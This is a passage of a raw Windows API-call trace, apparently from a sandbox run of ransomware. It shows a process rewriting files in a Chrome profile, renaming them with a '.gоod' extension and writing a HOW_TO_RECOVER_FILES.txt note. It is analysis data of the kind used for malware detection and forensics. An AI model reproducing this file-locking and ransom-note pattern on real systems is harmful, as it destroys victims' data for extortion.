lpOldMode=0x1f6e9f00) returned 1 [0221.557] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log.gоod")) returned 1 [0221.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0221.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0221.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x3728a50 | out: lpFileInformation=0x3728a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0221.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0221.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0221.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0221.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.559] GetFileType (hFile=0x864) returned 0x1 [0221.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0221.559] GetFileType (hFile=0x864) returned 0x1 [0221.559] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x29 [0221.559] ReadFile (in: hFile=0x864, lpBuffer=0x3728d88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x3728d88*, lpNumberOfBytesRead=0x1f6e9f08*=0x29, lpOverlapped=0x0) returned 1 [0221.560] CloseHandle (hObject=0x864) returned 1 [0221.586] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0221.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0221.586] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.587] GetFileType (hFile=0x864) returned 0x1 [0221.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0221.587] GetFileType (hFile=0x864) returned 0x1 [0221.587] WriteFile (in: hFile=0x864, lpBuffer=0x37a0348*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x37a0348*, lpNumberOfBytesWritten=0x1f6e9e18*=0x30, lpOverlapped=0x0) returned 1 [0222.449] CloseHandle (hObject=0x864) returned 1 [0222.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0222.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x62 [0222.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0222.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x80ce7ffe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0222.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0222.495] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001.gоod")) returned 1 [0222.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x66 [0222.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0222.496] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0222.496] GetFileType (hFile=0x808) returned 0x1 [0222.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0222.496] GetFileType (hFile=0x808) returned 0x1 [0222.497] WriteFile (in: hFile=0x808, lpBuffer=0x34c1a20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x34c1a20*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0222.498] CloseHandle (hObject=0x808) returned 1 [0222.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0222.498] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpFilePart=0x0) returned 0x48 [0222.498] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0222.500] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.500] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5574507e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5574507e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5574507e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1 [0222.500] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf92b561a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf92b561a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aohghmighlieiainnegkcijnfilokake", cAlternateFileName="AOHGHM~1")) returned 1 [0222.500] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53090b6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9327c4a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9327c4a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apdfllckaahabafndbhieahigkjlhalf", cAlternateFileName="APDFLL~1")) returned 1 [0222.500] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5401c7d1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf939a341, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf939a341, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1 [0222.500] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0222.501] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542fb674, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x542fb674, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x542fb674, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nmmhkkegccagdldgiimedpiccmgmieda", cAlternateFileName="NMMHKK~1")) returned 1 [0222.501] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53e4c96b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1 [0222.501] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea61b99c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xea61e0bf, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xea61e0bf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0222.501] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea61b99c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xea61e0bf, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xea61e0bf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0 [0222.501] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0222.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0222.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0222.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0222.502] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpFilePart=0x0) returned 0x48 [0222.502] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0222.503] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.503] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5574507e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5574507e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5574507e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1 [0222.503] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf92b561a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf92b561a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aohghmighlieiainnegkcijnfilokake", cAlternateFileName="AOHGHM~1")) returned 1 [0222.503] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53090b6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9327c4a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9327c4a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apdfllckaahabafndbhieahigkjlhalf", cAlternateFileName="APDFLL~1")) returned 1 [0222.503] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5401c7d1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf939a341, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf939a341, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1 [0222.504] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0222.504] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542fb674, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x542fb674, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x542fb674, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nmmhkkegccagdldgiimedpiccmgmieda", cAlternateFileName="NMMHKK~1")) returned 1 [0222.504] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53e4c96b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1 [0222.504] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea61b99c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xea61e0bf, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xea61e0bf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0222.504] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.504] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0222.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0222.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0222.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e97a0) returned 1 [0222.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", nBufferLength=0x105, lpBuffer=0x1f6e9240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpFilePart=0x0) returned 0x69 [0222.505] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x1f6e94c0 | out: lpFindFileData=0x1f6e94c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5574507e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5574507e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5574507e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0222.506] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5574507e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5574507e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5574507e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.506] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0222.506] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0 [0222.506] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0222.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96e0) returned 1 [0222.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96a0) returned 1 [0222.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e97a0) returned 1 [0222.507] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", nBufferLength=0x105, lpBuffer=0x1f6e9240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpFilePart=0x0) returned 0x69 [0222.507] FindFirstFileW (in: 